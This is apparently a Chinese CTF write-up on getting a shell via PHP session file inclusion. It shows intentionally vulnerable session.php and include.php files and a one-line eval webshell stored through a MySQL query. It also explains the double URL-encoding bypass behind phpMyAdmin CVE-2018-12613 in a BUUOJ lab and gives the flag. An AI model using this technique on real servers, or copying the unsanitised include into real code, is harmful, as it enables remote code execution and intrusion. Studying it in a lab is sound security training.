通过session getshell
通过session getshell
主要思路:
1.通过session将文件存储到本地服务器上 webshell(一句话木马)
http://127.0.0.1:8000/session.php?name=
2.通过文件包含,去包含这个session文件 getshell
http://127.0.0.1:8000/include.php?file=F:\xampp\tmp\sess_jav4umkudtd01ft5euf2jbl95s
或者直接用蚁剑连接
一些细节知识:
先用phpinfo()查看session()保存位置,再通过这个sessid来查看保存文件是哪一个,session文件前缀是sess_然后后面再加sessid就是文件名称(sessid可以下载editthiscookie插件,这个插件上可以直接看到sessid)
session.php
<?php
session_start();
$_SESSION['name']=$_GET['name'];
print_r('hello'.$_SESSION['name']);
?>
include.php
<?php
$file = $_GET['file'];
include $file;
?>
然后做道题目练习一下
https://buuoj.cn/challenges#[PHPMYADMIN]CVE-2018-12613
打开靶机:
我们先在mysql里执行一下查询语句(这个查询语句里可以写一句话木马)
select '<?php phpinfo();?>'
或者
select '<?php @eval($_GET[1])?>
然后网站会把这个查询语句保存到session文件中
然后我们就可以通过这个payload去包含这个session文件
session文件目录:
/tmp/
或者
/var/lib/php/
因为本题的flag就在phpinfo()里,所以下面两个payload都可以
flag{c802e110-42c3-4bd2-8393-0e78ea583cf3}
然后来解释一下这个payload
target就是对白名单做一个限制,而db_sql.php这个文件刚好在这个白名单里,(也可以是其他文件,不是db_sql.php这个也行)
?一次url编码:%3f
%再次url编码:%25
浏览器传输过程中,浏览器会自动解码,到达服务器时就是%3f
然后检测的时候会先进行URL解码,就变成了db_sql.php?,后面的内容就会都被当成参数,源码当中就会把?后面的内容删掉
include的时候并不会进行解码,把%3f当成一个路径,然后就会一直向上级回溯,一直到根目录。所以就可以去包含这个session文件。